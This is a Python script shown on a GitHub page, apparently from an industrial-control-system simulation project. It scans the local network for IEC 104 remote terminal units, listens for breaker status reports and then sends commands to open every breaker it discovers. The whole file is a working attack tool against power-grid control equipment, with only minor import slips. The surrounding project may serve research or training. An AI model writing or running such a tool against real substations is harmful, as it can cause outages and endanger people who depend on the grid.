-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathcommander.py
134 lines (130 loc) · 5.47 KB
/
commander.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
import sys
from threading import Thread
import socket
from time import sleep
from prompt_toolkit.shortcuts import run_application
from PyInquirer.prompts.list import question
from netifaces import AF_LINK, AF_INET, ifaddresses, interfaces
from scapy.sendrecv import sr1
from scapy.layers.l2 import ARP
import ipaddress
# NEFICS imports
from nefics.IEC104.dissector import APDU
from iec104 import IEC104, get_command
IEC104_PORT = 2404
if __name__ == '__main__':
iface = run_application(
question(
'Choose an interface ',
choices=[f'{x:s} ({ifaddresses(x)[AF_INET][0]["addr"]:s})' for x in interfaces() if AF_INET in ifaddresses(x)]
)
)
iface = iface.split(' ')[0]
print('[+] Using ' + str(iface))
address = ifaddresses(iface)[AF_INET][0]
subnet = ipaddress.ip_network(address['addr'] + '/' + address['netmask'], strict=False)
nethosts = list(subnet.hosts())
print('[+] Searching for live hosts in {0:s} ...'.format(str(subnet)))
alive = []
def arpscan(hosts: list):
global alive
global address
for host in hosts:
if str(host) != address['addr']:
print('[-] Trying {0:s} ...\r'.format(str(host)), end='')
response = sr1(ARP(op=0x1, psrc=address['addr'], pdst=str(host)), retry=0, timeout=1, verbose=0)
if response is not None and response.haslayer('ARP') and response['ARP'].op == 0x2:
print(' [!] {0:s} is alive'.format(str(host)))
alive.append(str(host))
threads = []
for hosts in [nethosts[i:i + 16] for i in range(0, len(nethosts), 16)]:
t = Thread(target=arpscan, kwargs={'hosts': hosts})
t.start()
threads.append(t)
while len(threads):
for t in threads:
t.join(1)
if not t.is_alive():
threads.pop(threads.index(t))
print('[+] Scanning for RTUs ...')
rtus = []
for host in alive:
if host != address['addr']:
sport = scapy.RandShort()
print('[-] Trying {0:s} ...\r'.format(host), end='')
response = scapy.sr1(scapy.IP(src=address['addr'], dst=host)/scapy.TCP(sport=sport, dport=IEC104_PORT, flags='S'), iface=iface, timeout=0.1, retry=0, verbose=0)
if response is None:
# Filtered
pass
elif response.haslayer('TCP'):
if response['TCP'].flags == 0x12:
# Open port -- Probably an RTU
reset = scapy.sr(scapy.IP(src=address['addr'], dst=host)/scapy.TCP(sport=sport, dport=IEC104_PORT, flags='R'), iface=iface, timeout=0.1, verbose=0)
print(' [!] Found RTU at %s' % str(host))
rtus.append(str(host))
elif response['TCP'].flags == 0x14:
# Closed
pass
elif response.haslayer('ICMP') and response['ICMP'].type == 3 and response['ICMP'].code in [1, 2, 3, 9, 10, 13]:
# Filtered
pass
print('[+] Scanning complete !' + ' '*20)
print('[+] Probing RTUs ...')
rtu_comm = {}
rtu_data = {}
rtu_threads = {}
rtu_thred_killswitch = {}
rtu_hasbreakers = {}
def handle_rtu(s: socket.socket, k: str):
global rtu_data
global rtu_thred_killswitch
global rtu_hasbreakers
if k not in rtu_data.keys():
rtu_data[k] = {'ioas': {}}
while not rtu_thred_killswitch[k]:
try:
data = s.recv(1024)
apdu = APDU(data)
data = get_command(apdu)
rtu_data[k]['tx'] = data['tx']
rtu_data[k]['rx'] = data['rx']
value = data['value']
if apdu['ASDU'].TypeId == 0x3:
if k not in rtu_hasbreakers.keys():
rtu_hasbreakers[k] = {}
rtu_hasbreakers[k]['ioas'] = []
print(' [!] RTU in {0:s} has breakers'.format(k))
if data['ioa'] not in rtu_hasbreakers[k]['ioas']:
rtu_hasbreakers[k]['ioas'].append(data['ioa'])
print(' [!] New breaker found in {0:s}. IOA: {1:d}'.format(k, data['ioa']))
except (socket.timeout, KeyError, IndexError):
pass
for r in rtus:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.settimeout(0.3)
try:
rtu_comm[r] = s
rtu_threads[r] = Thread(target=handle_rtu, kwargs={'s': s, 'k': r})
rtu_thred_killswitch[r] = False
s.connect((r, IEC104_PORT))
rtu_threads[r].start()
except socket.error:
pass
sleep(30)
print('[+] Opening all breakers ...')
for k, v in rtu_hasbreakers.items():
print(' [-] Opening breakers in {0:s} ...'.format(k))
for ioa in v['ioas']:
print(' [#] Opening IOA {:d} ...'.format(ioa))
rtu_data[k]['tx'] += 1
data = IEC104(50, ioa).get_apdu(0, rtu_data[k]['tx'], rtu_data[k]['rx'], 1)
rtu_comm[k].send(data)
sleep(2)
print('[+] Done!')
print('[+] Closing connections ...')
for r in rtus:
rtu_thred_killswitch[r] = True
rtu_threads[r].join()
rtu_comm[r].close()
print('[+] Bye!')